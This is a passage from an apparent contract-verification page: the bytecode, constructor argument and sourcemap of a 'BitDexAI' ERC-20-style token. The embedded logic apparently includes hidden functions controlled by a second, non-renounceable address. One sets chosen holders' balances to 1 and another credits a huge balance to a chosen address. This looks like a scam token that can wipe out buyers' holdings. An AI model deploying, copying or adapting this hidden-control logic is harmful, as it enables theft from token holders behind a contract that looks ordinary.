9150509250925092565b5f60ff82169050919050565b6115418161152c565b82525050565b5f60208201905061155a5f830184611538565b92915050565b5f5ffd5b5f5ffd5b5f5ffd5b5f5f83601f84011261158157611580611560565b5b8235905067ffffffffffffffff81111561159e5761159d611564565b5b6020830191508360208202830111156115ba576115b9611568565b5b9250929050565b5f5f602083850312156115d7576115d66113ae565b5b5f83013567ffffffffffffffff8111156115f4576115f36113b2565b5b6116008582860161156c565b92509250509250929050565b5f60208284031215611621576116206113ae565b5b5f61162e848285016113fc565b91505092915050565b611640816113d5565b82525050565b5f6020820190506116595f830184611637565b92915050565b5f5f60408385031215611675576116746113ae565b5b5f611682858286016113fc565b9250506020611693858286016113fc565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806116e157607f821691505b6020821081036116f4576116f361169d565b5b50919050565b7f426974446578414932304f776e61626c653a2063616c6c6572206973206e6f745f8201527f20746865206f776e657200000000000000000000000000000000000000000000602082015250565b5f611754602a83611328565b915061175f826116fa565b604082019050919050565b5f6020820190508181035f83015261178181611748565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f819050919050565b5f6117e16117dc6117d7846117b5565b6117be565b611410565b9050919050565b6117f1816117c7565b82525050565b5f60208201905061180a5f8301846117e8565b92915050565b5f819050919050565b5f61183361182e61182984611810565b6117be565b611410565b9050919050565b61184381611819565b82525050565b5f60208201905061185c5f83018461183a565b92915050565b7f426974446578414932304f776e61626c653a206e6577206f776e6572206973205f8201527f746865207a65726f206164647265737300000000000000000000000000000000602082015250565b5f6118bc603083611328565b91506118c782611862565b604082019050919050565b5f6020820190508181035f8301526118e9816118b0565b9050919050565b7f4269744465784149696e746572666163653a20617070726f76652066726f6d205f8201527f746865207a65726f206164647265737300000000000000000000000000000000602082015250565b5f61194a603083611328565b9150611955826118f0565b604082019050919050565b5f6020820190508181035f8301526119778161193e565b9050919050565b7f4269744465784149696e746572666163653a20617070726f766520746f2074685f8201527f65207a65726f2061646472657373000000000000000000000000000000000000602082015250565b5f6119d8602e83611328565b91506119e38261197e565b604082019050919050565b5f6020820190508181035f830152611a05816119cc565b9050919050565b7f4269744465784149696e746572666163653a207472616e736665722066726f6d5f8201527f20746865207a65726f2061646472657373000000000000000000000000000000602082015250565b5f611a66603183611328565b9150611a7182611a0c565b604082019050919050565b5f6020820190508181035f830152611a9381611a5a565b9050919050565b7f4269744465784149696e746572666163653a207472616e7366657220746f20745f8201527f6865207a65726f20616464726573730000000000000000000000000000000000602082015250565b5f611af4602f83611328565b9150611aff82611a9a565b604082019050919050565b5f6020820190508181035f830152611b2181611ae8565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611b5f82611410565b9150611b6a83611410565b9250828203905081811115611b8257611b81611b28565b5b92915050565b5f611b9282611410565b9150611b9d83611410565b9250828201905080821115611bb557611bb4611b28565b5b92915050565b7f5361666542697444657841493a206164646974696f6e206f766572666c6f77005f82015250565b5f611bef601f83611328565b9150611bfa82611bbb565b602082019050919050565b5f6020820190508181035f830152611c1c81611be3565b905091905056fe4269744465784149696e746572666163653a207472616e7366657220796f7572736f6c64206578636565647320616c6c6f77616e63654269744465784149696e746572666163653a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4269744465784149696e746572666163653a207472616e7366657220796f7572736f6c6420657863656564732062616c616e6365a264697066735822122046e788f51bd5602ff18ede29fd5d244e5ddd6cc5a93dd34b7940fd8cbc2af27d64736f6c634300081c0033000000000000000000000000432e69ccb799f021c6cbdea1b734b069578b4de2
Deployed Bytecode
0x608060405234801561000f575f5ffd5b5060043610610109575f3560e01c8063715018a6116100a057806395d89b411161006f57806395d89b41146102a5578063a457c2d7146102c3578063a9059cbb146102f3578063dd62ed3e14610323578063f2fde38b1461035357610109565b8063715018a6146102435780638099423b1461024d578063893d20e8146102695780638da5cb5b1461028757610109565b8063313ce567116100dc578063313ce567146101a957806339509351146101c75780633f282b4a146101f757806370a082311461021357610109565b806306fdde031461010d578063095ea7b31461012b57806318160ddd1461015b57806323b872dd14610179575b5f5ffd5b61011561036f565b604051610122919061138e565b60405180910390f35b61014560048036038101906101409190611443565b6103ff565b604051610152919061149b565b60405180910390f35b61016361041c565b60405161017091906114c3565b60405180910390f35b610193600480360381019061018e91906114dc565b610425565b6040516101a0919061149b565b60405180910390f35b6101b16104f9565b6040516101be9190611547565b60405180910390f35b6101e160048036038101906101dc9190611443565b61050e565b6040516101ee919061149b565b60405180910390f35b610211600480360381019061020c91906115c1565b6105bc565b005b61022d6004803603810190610228919061160c565b61076a565b60405161023a91906114c3565b60405180910390f35b61024b6107b0565b005b6102676004803603810190610262919061160c565b6108e7565b005b610271610a41565b60405161027e9190611646565b60405180910390f35b61028f610a4f565b60405161029c9190611646565b60405180910390f35b6102ad610a76565b6040516102ba919061138e565b60405180910390f35b6102dd60048036038101906102d89190611443565b610b06565b6040516102ea919061149b565b60405180910390f35b61030d60048036038101906103089190611443565b610bce565b60405161031a919061149b565b60405180910390f35b61033d6004803603810190610338919061165f565b610beb565b60405161034a91906114c3565b60405180910390f35b61036d6004803603810190610368919061160c565b610c6d565b005b60606006805461037e906116ca565b80601f01602080910402602001604051908101604052809291908181526020018280546103aa906116ca565b80156103f55780601f106103cc576101008083540402835291602001916103f5565b820191905f5260205f20905b8154815290600101906020018083116103d857829003601f168201915b5050505050905090565b5f61041261040b610e13565b8484610e1a565b6001905092915050565b5f600354905090565b5f610431848484610fdd565b6104ee8461043d610e13565b6104e985604051806060016040528060368152602001611c246036913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6104a0610e13565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461125f9092919063ffffffff16565b610e1a565b600190509392505050565b5f60045f9054906101000a900460ff16905090565b5f6105b261051a610e13565b846105ad8560025f61052a610e13565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546112c190919063ffffffff16565b610e1a565b6001905092915050565b6105c4610e13565b73ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610652576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106499061176a565b60405180910390fd5b5f5f90505b82829050811015610765576001805f85858581811061067957610678611788565b5b905060200201602081019061068e919061160c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f73ffffffffffffffffffffffffffffffffffffffff168383838181106106f5576106f4611788565b5b905060200201602081019061070a919061160c565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600160405161075091906117f7565b60405180910390a38080600101915050610657565b505050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6107b8610e13565b73ffffffffffffffffffffffffffffffffffffffff166107d6610a4f565b73ffffffffffffffffffffffffffffffffffffffff161461082c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108239061176a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6108ef610e13565b73ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461097d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109749061176a565b60405180910390fd5b6c0c9f2c9cd04674edea4000000060015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6c0c9f2c9cd04674edea40000000604051610a369190611849565b60405180910390a350565b5f610a4a610a4f565b905090565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610a85906116ca565b80601f0160208091040260200160405190810160405280929190818152602001828054610ab1906116ca565b8015610afc5780601f10610ad357610100808354040283529160200191610afc565b820191905f5260205f20905b815481529060010190602001808311610adf57829003601f168201915b5050505050905090565b5f610bc4610b12610e13565b84610bbf85604051806060016040528060318152602001611c5a6031913960025f610b3b610e13565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461125f9092919063ffffffff16565b610e1a565b6001905092915050565b5f610be1610bda610e13565b8484610fdd565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610c75610e13565b73ffffffffffffffffffffffffffffffffffffffff16610c93610a4f565b73ffffffffffffffffffffffffffffffffffffffff1614610ce9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce09061176a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610d57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4e906118d2565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7f90611960565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ef6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eed906119ee565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fd091906114c3565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361104b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104290611a7c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b090611b0a565b60405180910390fd5b61112381604051806060016040528060348152602001611c8b6034913960015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461125f9092919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506111b48160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546112c190919063ffffffff16565b60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161125291906114c3565b60405180910390a3505050565b5f8383111582906112a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129d919061138e565b60405180910390fd5b505f83856112b49190611b55565b9050809150509392505050565b5f5f82846112cf9190611b88565b905083811015611314576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130b90611c05565b60405180910390fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6113608261131e565b61136a8185611328565b935061137a818560208601611338565b61138381611346565b840191505092915050565b5f6020820190508181035f8301526113a68184611356565b905092915050565b5f5ffd5b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6113df826113b6565b9050919050565b6113ef816113d5565b81146113f9575f5ffd5b50565b5f8135905061140a816113e6565b92915050565b5f819050919050565b61142281611410565b811461142c575f5ffd5b50565b5f8135905061143d81611419565b92915050565b5f5f60408385031215611459576114586113ae565b5b5f611466858286016113fc565b92505060206114778582860161142f565b9150509250929050565b5f8115159050919050565b61149581611481565b82525050565b5f6020820190506114ae5f83018461148c565b92915050565b6114bd81611410565b82525050565b5f6020820190506114d65f8301846114b4565b92915050565b5f5f5f606084860312156114f3576114f26113ae565b5b5f611500868287016113fc565b9350506020611511868287016113fc565b92505060406115228682870161142f565b9150509250925092565b5f60ff82169050919050565b6115418161152c565b82525050565b5f60208201905061155a5f830184611538565b92915050565b5f5ffd5b5f5ffd5b5f5ffd5b5f5f83601f84011261158157611580611560565b5b8235905067ffffffffffffffff81111561159e5761159d611564565b5b6020830191508360208202830111156115ba576115b9611568565b5b9250929050565b5f5f602083850312156115d7576115d66113ae565b5b5f83013567ffffffffffffffff8111156115f4576115f36113b2565b5b6116008582860161156c565b92509250509250929050565b5f60208284031215611621576116206113ae565b5b5f61162e848285016113fc565b91505092915050565b611640816113d5565b82525050565b5f6020820190506116595f830184611637565b92915050565b5f5f60408385031215611675576116746113ae565b5b5f611682858286016113fc565b9250506020611693858286016113fc565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806116e157607f821691505b6020821081036116f4576116f361169d565b5b50919050565b7f426974446578414932304f776e61626c653a2063616c6c6572206973206e6f745f8201527f20746865206f776e657200000000000000000000000000000000000000000000602082015250565b5f611754602a83611328565b915061175f826116fa565b604082019050919050565b5f6020820190508181035f83015261178181611748565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f819050919050565b5f6117e16117dc6117d7846117b5565b6117be565b611410565b9050919050565b6117f1816117c7565b82525050565b5f60208201905061180a5f8301846117e8565b92915050565b5f819050919050565b5f61183361182e61182984611810565b6117be565b611410565b9050919050565b61184381611819565b82525050565b5f60208201905061185c5f83018461183a565b92915050565b7f426974446578414932304f776e61626c653a206e6577206f776e6572206973205f8201527f746865207a65726f206164647265737300000000000000000000000000000000602082015250565b5f6118bc603083611328565b91506118c782611862565b604082019050919050565b5f6020820190508181035f8301526118e9816118b0565b9050919050565b7f4269744465784149696e746572666163653a20617070726f76652066726f6d205f8201527f746865207a65726f206164647265737300000000000000000000000000000000602082015250565b5f61194a603083611328565b9150611955826118f0565b604082019050919050565b5f6020820190508181035f8301526119778161193e565b9050919050565b7f4269744465784149696e746572666163653a20617070726f766520746f2074685f8201527f65207a65726f2061646472657373000000000000000000000000000000000000602082015250565b5f6119d8602e83611328565b91506119e38261197e565b604082019050919050565b5f6020820190508181035f830152611a05816119cc565b9050919050565b7f4269744465784149696e746572666163653a207472616e736665722066726f6d5f8201527f20746865207a65726f2061646472657373000000000000000000000000000000602082015250565b5f611a66603183611328565b9150611a7182611a0c565b604082019050919050565b5f6020820190508181035f830152611a9381611a5a565b9050919050565b7f4269744465784149696e746572666163653a207472616e7366657220746f20745f8201527f6865207a65726f20616464726573730000000000000000000000000000000000602082015250565b5f611af4602f83611328565b9150611aff82611a9a565b604082019050919050565b5f6020820190508181035f830152611b2181611ae8565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611b5f82611410565b9150611b6a83611410565b9250828203905081811115611b8257611b81611b28565b5b92915050565b5f611b9282611410565b9150611b9d83611410565b9250828201905080821115611bb557611bb4611b28565b5b92915050565b7f5361666542697444657841493a206164646974696f6e206f766572666c6f77005f82015250565b5f611bef601f83611328565b9150611bfa82611bbb565b602082019050919050565b5f6020820190508181035f830152611c1c81611be3565b905091905056fe4269744465784149696e746572666163653a207472616e7366657220796f7572736f6c64206578636565647320616c6c6f77616e63654269744465784149696e746572666163653a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4269744465784149696e746572666163653a207472616e7366657220796f7572736f6c6420657863656564732062616c616e6365a264697066735822122046e788f51bd5602ff18ede29fd5d244e5ddd6cc5a93dd34b7940fd8cbc2af27d64736f6c634300081c0033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000432e69ccb799f021c6cbdea1b734b069578b4de2
-----Decoded View---------------
Arg [0] : legosSwapRouterv3 (address): 0x432e69ccB799F021C6CBDEa1b734B069578B4de2
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000432e69ccb799f021c6cbdea1b734b069578b4de2
Deployed Bytecode Sourcemap
11630:7670:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12960:94;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14959:177;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13132:102;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15629:340;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12636:94;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16392:234;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13722:240;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13310:120;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6029:148;;;:::i;:::-;;14363:207;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12473:94;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5368:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12797:98;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17142:285;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14182:175;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14640:158;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6332:254;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12960:94;13008:13;13041:5;13034:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12960:94;:::o;14959:177::-;15043:4;15060:46;15069:12;:10;:12::i;:::-;15083;15097:8;15060;:46::i;:::-;15124:4;15117:11;;14959:177;;;;:::o;13132:102::-;13187:7;13214:12;;13207:19;;13132:102;:::o;15629:340::-;15732:4;15749:39;15759:6;15767:10;15779:8;15749:9;:39::i;:::-;15799:140;15808:6;15816:12;:10;:12::i;:::-;15830:108;15871:8;15830:108;;;;;;;;;;;;;;;;;:14;:22;15845:6;15830:22;;;;;;;;;;;;;;;:36;15853:12;:10;:12::i;:::-;15830:36;;;;;;;;;;;;;;;;:40;;:108;;;;;:::i;:::-;15799:8;:140::i;:::-;15957:4;15950:11;;15629:340;;;;;:::o;12636:94::-;12688:5;12713:9;;;;;;;;;;;12706:16;;12636:94;:::o;16392:234::-;16481:4;16498:98;16507:12;:10;:12::i;:::-;16521;16535:60;16582:12;16535:14;:28;16550:12;:10;:12::i;:::-;16535:28;;;;;;;;;;;;;;;:42;16564:12;16535:42;;;;;;;;;;;;;;;;:46;;:60;;;;:::i;:::-;16498:8;:98::i;:::-;16614:4;16607:11;;16392:234;;;;:::o;13722:240::-;13492:12;:10;:12::i;:::-;13477:27;;:11;;;;;;;;;;;:27;;;13469:82;;;;;;;;;;;;:::i;:::-;;;;;;;;;13803:9:::1;13815:1;13803:13;;13798:161;13822:11;;:18;;13818:1;:22;13798:161;;;13885:1;13858:8:::0;:24:::1;13867:11;;13879:1;13867:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;13858:24;;;;;;;;;;;;;;;:28;;;;13945:1;13912:39;;13921:11;;13933:1;13921:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;13912:39;;;13949:1;13912:39;;;;;;:::i;:::-;;;;;;;;13842:3;;;;;;;13798:161;;;;13722:240:::0;;:::o;13310:120::-;13378:7;13405:8;:17;13414:7;13405:17;;;;;;;;;;;;;;;;13398:24;;13310:120;;;:::o;6029:148::-;5599:12;:10;:12::i;:::-;5588:23;;:7;:5;:7::i;:::-;:23;;;5580:78;;;;;;;;;;;;:::i;:::-;;;;;;;;;6136:1:::1;6099:40;;6120:6;;;;;;;;;;;6099:40;;;;;;;;;;;;6167:1;6150:6;;:19;;;;;;;;;;;;;;;;;;6029:148::o:0;14363:207::-;13492:12;:10;:12::i;:::-;13477:27;;:11;;;;;;;;;;;:27;;;13469:82;;;;;;;;;;;;:::i;:::-;;;;;;;;;14457:22:::1;14433:8;:21;14442:11;14433:21;;;;;;;;;;;;;;;:46;;;;14535:1;14505:57;;14514:11;14505:57;;;14539:22;14505:57;;;;;;:::i;:::-;;;;;;;;14363:207:::0;:::o;12473:94::-;12525:7;12552;:5;:7::i;:::-;12545:14;;12473:94;:::o;5368:87::-;5414:7;5441:6;;;;;;;;;;;5434:13;;5368:87;:::o;12797:98::-;12847:13;12880:7;12873:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12797:98;:::o;17142:285::-;17230:4;17247:150;17256:12;:10;:12::i;:::-;17270;17284:112;17331:11;17284:112;;;;;;;;;;;;;;;;;:14;:28;17299:12;:10;:12::i;:::-;17284:28;;;;;;;;;;;;;;;:42;17313:12;17284:42;;;;;;;;;;;;;;;;:46;;:112;;;;;:::i;:::-;17247:8;:150::i;:::-;17415:4;17408:11;;17142:285;;;;:::o;14182:175::-;14265:4;14282:45;14292:12;:10;:12::i;:::-;14306:10;14318:8;14282:9;:45::i;:::-;14345:4;14338:11;;14182:175;;;;:::o;14640:158::-;14728:7;14755:14;:21;14770:5;14755:21;;;;;;;;;;;;;;;:35;14777:12;14755:35;;;;;;;;;;;;;;;;14748:42;;14640:158;;;;:::o;6332:254::-;5599:12;:10;:12::i;:::-;5588:23;;:7;:5;:7::i;:::-;:23;;;5580:78;;;;;;;;;;;;:::i;:::-;;;;;;;;;6441:1:::1;6421:22;;:8;:22;;::::0;6413:83:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;6541:8;6512:38;;6533:6;;;;;;;;;;;6512:38;;;;;;;;;;;;6570:8;6561:6;;:17;;;;;;;;;;;;;;;;;;6332:254:::0;:::o;3926:98::-;3979:7;4006:10;3999:17;;3926:98;:::o;18892:399::-;19010:1;18993:19;;:5;:19;;;18985:80;;;;;;;;;;;;:::i;:::-;;;;;;;;;19108:1;19084:26;;:12;:26;;;19076:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;19220:8;19182:14;:21;19197:5;19182:21;;;;;;;;;;;;;;;:35;19204:12;19182:35;;;;;;;;;;;;;;;:46;;;;19260:12;19244:39;;19253:5;19244:39;;;19274:8;19244:39;;;;;;:::i;:::-;;;;;;;;18892:399;;;:::o;17914:534::-;18033:1;18015:20;;:6;:20;;;18007:82;;;;;;;;;;;;:::i;:::-;;;;;;;;;18130:1;18108:24;;:10;:24;;;18100:84;;;;;;;;;;;;:::i;:::-;;;;;;;;;18232:86;18253:8;18232:86;;;;;;;;;;;;;;;;;:8;:16;18241:6;18232:16;;;;;;;;;;;;;;;;:20;;:86;;;;;:::i;:::-;18213:8;:16;18222:6;18213:16;;;;;;;;;;;;;;;:105;;;;18352:34;18377:8;18352;:20;18361:10;18352:20;;;;;;;;;;;;;;;;:24;;:34;;;;:::i;:::-;18329:8;:20;18338:10;18329:20;;;;;;;;;;;;;;;:57;;;;18419:10;18402:38;;18411:6;18402:38;;;18431:8;18402:38;;;;;;:::i;:::-;;;;;;;;17914:534;;;:::o;8248:178::-;8334:7;8363:1;8358;:6;;8366:12;8350:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;8386:9;8402:1;8398;:5;;;;:::i;:::-;8386:17;;8419:1;8412:8;;;8248:178;;;;;:::o;7413:171::-;7471:7;7487:9;7503:1;7499;:5;;;;:::i;:::-;7487:17;;7524:1;7519;:6;;7511:50;;;;;;;;;;;;:::i;:::-;;;;;;;;;7577:1;7570:8;;;7413:171;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:139::-;376:6;371:3;366;360:23;417:1;408:6;403:3;399:16;392:27;287:139;;;:::o;432:102::-;473:6;524:2;520:7;515:2;508:5;504:14;500:28;490:38;;432:102;;;:::o;540:377::-;628:3;656:39;689:5;656:39;:::i;:::-;711:71;775:6;770:3;711:71;:::i;:::-;704:78;;791:65;849:6;844:3;837:4;830:5;826:16;791:65;:::i;:::-;881:29;903:6;881:29;:::i;:::-;876:3;872:39;865:46;;632:285;540:377;;;;:::o;923:313::-;1036:4;1074:2;1063:9;1059:18;1051:26;;1123:9;1117:4;1113:20;1109:1;1098:9;1094:17;1087:47;1151:78;1224:4;1215:6;1151:78;:::i;:::-;1143:86;;923:313;;;;:::o;1323:117::-;1432:1;1429;1422:12;1446:117;1555:1;1552;1545:12;1569:126;1606:7;1646:42;1639:5;1635:54;1624:65;;1569:126;;;:::o;1701:96::-;1738:7;1767:24;1785:5;1767:24;:::i;:::-;1756:35;;1701:96;;;:::o;1803:122::-;1876:24;1894:5;1876:24;:::i;:::-;1869:5;1866:35;1856:63;;1915:1;1912;1905:12;1856:63;1803:122;:::o;1931:139::-;1977:5;2015:6;2002:20;1993:29;;2031:33;2058:5;2031:33;:::i;:::-;1931:139;;;;:::o;2076:77::-;2113:7;2142:5;2131:16;;2076:77;;;:::o;2159:122::-;2232:24;2250:5;2232:24;:::i;:::-;2225:5;2222:35;2212:63;;2271:1;2268;2261:12;2212:63;2159:122;:::o;2287:139::-;2333:5;2371:6;2358:20;2349:29;;2387:33;2414:5;2387:33;:::i;:::-;2287:139;;;;:::o;2432:474::-;2500:6;2508;2557:2;2545:9;2536:7;2532:23;2528:32;2525:119;;;2563:79;;:::i;:::-;2525:119;2683:1;2708:53;2753:7;2744:6;2733:9;2729:22;2708:53;:::i;:::-;2698:63;;2654:117;2810:2;2836:53;2881:7;2872:6;2861:9;2857:22;2836:53;:::i;:::-;2826:63;;2781:118;2432:474;;;;;:::o;2912:90::-;2946:7;2989:5;2982:13;2975:21;2964:32;;2912:90;;;:::o;3008:109::-;3089:21;3104:5;3089:21;:::i;:::-;3084:3;3077:34;3008:109;;:::o;3123:210::-;3210:4;3248:2;3237:9;3233:18;3225:26;;3261:65;3323:1;3312:9;3308:17;3299:6;3261:65;:::i;:::-;3123:210;;;;:::o;3339:118::-;3426:24;3444:5;3426:24;:::i;:::-;3421:3;3414:37;3339:118;;:::o;3463:222::-;3556:4;3594:2;3583:9;3579:18;3571:26;;3607:71;3675:1;3664:9;3660:17;3651:6;3607:71;:::i;:::-;3463:222;;;;:::o;3691:619::-;3768:6;3776;3784;3833:2;3821:9;3812:7;3808:23;3804:32;3801:119;;;3839:79;;:::i;:::-;3801:119;3959:1;3984:53;4029:7;4020:6;4009:9;4005:22;3984:53;:::i;:::-;3974:63;;3930:117;4086:2;4112:53;4157:7;4148:6;4137:9;4133:22;4112:53;:::i;:::-;4102:63;;4057:118;4214:2;4240:53;4285:7;4276:6;4265:9;4261:22;4240:53;:::i;:::-;4230:63;;4185:118;3691:619;;;;;:::o;4316:86::-;4351:7;4391:4;4384:5;4380:16;4369:27;;4316:86;;;:::o;4408:112::-;4491:22;4507:5;4491:22;:::i;:::-;4486:3;4479:35;4408:112;;:::o;4526:214::-;4615:4;4653:2;4642:9;4638:18;4630:26;;4666:67;4730:1;4719:9;4715:17;4706:6;4666:67;:::i;:::-;4526:214;;;;:::o;4746:117::-;4855:1;4852;4845:12;4869:117;4978:1;4975;4968:12;4992:117;5101:1;5098;5091:12;5132:568;5205:8;5215:6;5265:3;5258:4;5250:6;5246:17;5242:27;5232:122;;5273:79;;:::i;:::-;5232:122;5386:6;5373:20;5363:30;;5416:18;5408:6;5405:30;5402:117;;;5438:79;;:::i;:::-;54